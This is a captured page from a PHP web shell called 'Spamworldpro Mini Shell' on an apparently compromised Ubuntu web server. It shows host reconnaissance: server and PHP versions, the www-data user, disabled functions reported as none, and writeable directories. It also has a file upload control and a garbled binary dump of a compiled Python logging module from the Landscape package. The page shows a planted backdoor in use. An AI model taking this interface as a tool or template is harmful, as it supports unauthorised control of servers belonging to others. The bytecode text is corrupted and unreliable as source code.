Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/landscape/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/landscape/lib/__pycache__/logging.cpython-310.pyc
o

���c�	�@sZddlmZddlZddlZddlZddlZdZddd�Zddd	�Zdd
d�Z	dd
�Z
dS)�)�absolute_importNz;%(asctime)s %(levelname)-8s [%(threadName)-10s] %(message)s�infocCsR|jdddddd�d}|r|d�|�7}|jd	d
d||d�|jd
|dd�dS)z?Add common logging-related CLI options to the given arg parser.z-qz--quietF�
store_truez"Do not log to the standard output.)�default�action�helpz)The directory in which to write log filesz (default: {!r}).z-lz	--log-dir�FILE)�metavarrrz--log-levelz/One of debug, info, warning, error or critical.)rrN)�
add_option�format)�parser�level�logdir�
logdirhelp�r�7/usr/lib/python3/dist-packages/landscape/lib/logging.py�add_cli_optionss��
�rFcCsV|dur
tj�tjd�}t�|���}tt�	�|||t�
t�|s$tjnd�t�	�S)z3Given a log dir, set up logging for an application.Nr)
�os�path�basename�sys�argv�logging�getLevelName�upper�
_init_logging�	getLogger�	Formatter�FORMAT�stdout)rr
�progname�quietrrr�init_app_loggings�r"c	Cst|�|�tj�|�st�|�tj�||d�}t�|�g}|r)|�t�	|��|D]}|�
|�|�|�q+dS)Nz.log)�setLevelrr�exists�makedirs�joinr�FileHandler�append�
StreamHandler�
addHandler�setFormatter)	�loggerr
r�logname�	formatterr�filename�handlers�handlerrrrr+s

�
�rc	Csdt��jD]%}t|tj�r*|��z|j��t|j	|j
�|_W|��q|��wqt�d�dS)z�
    This closes and reopens the underlying files in the logging module's
    root logger. If called after logrotate (or something similar) has
    moved the old log file out of the way, this will start writing to a new
    new log file...
    zLandscape Logs rotatedN)
rrr0�
isinstancer'�acquire�stream�close�open�baseFilename�mode�releaser)r1rrr�rotate_logs?s
��r:)rN)rNF)N)�
__future__rrr�os.pathrrrr"rr:rrrr�<module>s




Spamworldpro Mini